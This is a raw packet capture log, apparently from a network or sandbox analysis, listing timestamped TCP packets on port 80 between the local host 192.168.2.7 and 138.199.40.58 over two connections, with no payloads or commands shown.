Apr 23, 2024 08:39:58.664680958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664683104 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.664700985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664722919 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664725065 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.664742947 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.665278912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.665302992 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.665844917 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.665868044 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.666019917 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.666114092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.666156054 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.666177034 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.666186094 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.666208029 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.666209936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.666359901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.666527033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.666606903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.666630030 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.666645050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.666665077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.666754007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.666872978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.666981936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.667002916 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.667124033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.667155027 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.667197943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.667272091 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.667319059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.667320013 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.667350054 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.667612076 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.667674065 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.667695045 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.667716026 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.667794943 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.667887926 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.667993069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.668359995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.668421030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.668576002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.668597937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.668718100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.668737888 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.668814898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.668843985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.668883085 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.668890953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.668895006 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.668955088 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.669029951 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.669203043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.669222116 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.669239998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.669260979 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.669294119 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.669418097 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.669522047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.669543028 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.669715881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.669806004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.669924021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.669931889 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.670030117 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.670046091 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.670114994 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.670119047 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.670300961 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.670392036 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.670425892 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.670511961 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.670677900 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.670850992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.670871973 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.670985937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.671106100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.671107054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.671159029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.671227932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.671313047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.671335936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.671397924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.671418905 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.671461105 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.671482086 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.671585083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.671710968 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.671957016 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.672017097 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.672091007 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.672110081 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.672144890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.672261000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.672686100 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.672775984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.672852993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.672900915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.672921896 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.672987938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.673069000 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.673090935 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.673142910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.673161030 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.673230886 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.673317909 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.673331022 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.673513889 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.673604012 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.673626900 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.673660040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.673700094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.673815966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.673835993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.673999071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.674168110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.674189091 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.674245119 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.674326897 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.674375057 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.674376965 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.674421072 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.674516916 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.674678087 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.674699068 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.674793959 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.674839020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.674860001 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.674880028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.674948931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.674993038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.675014973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.675122023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.675209999 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.675214052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.675299883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.675407887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.675570011 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.675638914 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.675662041 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.675683975 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.675755978 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.675851107 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.675869942 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.675889969 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.675909042 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.675950050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.676130056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.676270962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.676354885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.676377058 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.676430941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.676450968 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.676781893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.676876068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.676897049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.676958084 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.677026033 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.677083969 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.677139044 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.677160025 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.677297115 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.677531958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.677555084 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.677577019 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.677623987 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.677884102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.677936077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.678005934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.678029060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.678122044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.678198099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.678216934 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.678239107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.678311110 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.678415060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.678486109 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.678541899 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.678620100 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.678649902 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.678687096 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.678708076 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.678776979 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.678957939 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.678977966 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.679073095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.679230928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.679307938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.679379940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.679440022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.679516077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.679527998 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.679560900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.679610014 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.679630995 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.679686069 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.679687977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.679748058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.679856062 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.679874897 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.679923058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.680062056 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.680083036 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.680198908 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.680274963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.680310965 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.680341959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.680389881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.680413961 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.680466890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.680555105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.680567026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.680790901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.680828094 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.680849075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.680898905 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.680969000 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.680988073 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.681061029 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.681266069 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.681298018 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.681375980 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.681447029 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.681469917 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.681490898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.681663990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.681675911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.681898117 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.681946993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.682112932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.682193041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.682215929 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.682261944 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.682272911 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.682337046 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.682358027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.682447910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.682549000 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.682611942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.682636023 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.682749033 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.683115959 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.683187008 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.683329105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.683410883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.683434963 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.683592081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.683607101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.683691978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.683765888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.683788061 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.683842897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.683886051 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.683903933 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.683936119 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.683979988 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.684062958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.684083939 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.684123039 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.684144974 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.684176922 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.684256077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.684276104 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.684326887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.684433937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.684539080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.684664965 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.684840918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.684910059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.684987068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.684994936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.685058117 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.685080051 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.685142040 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.685153008 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.685184956 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.685381889 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.685472965 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.685561895 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.685749054 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.685753107 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.685802937 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.685898066 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.685909986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.685947895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.685967922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.685991049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.686045885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.686186075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.686249018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.686314106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.686414957 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.686548948 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.686549902 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.686628103 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.686657906 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.686759949 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.686779976 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.686800957 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.686852932 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.687050104 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.687207937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.687227964 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.687347889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.687401056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.687422991 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.687706947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.687791109 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.687836885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.687912941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.688009977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.688021898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.688127041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.688150883 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.688174963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.688333988 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.688359022 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.688406944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.688586950 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.688608885 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.688744068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.688925982 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.688951015 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.688980103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.689059973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.689116001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.689133883 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.689290047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.689382076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.689405918 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.689480066 CEST	80	49705	138.199.40.58	192.168.2.7
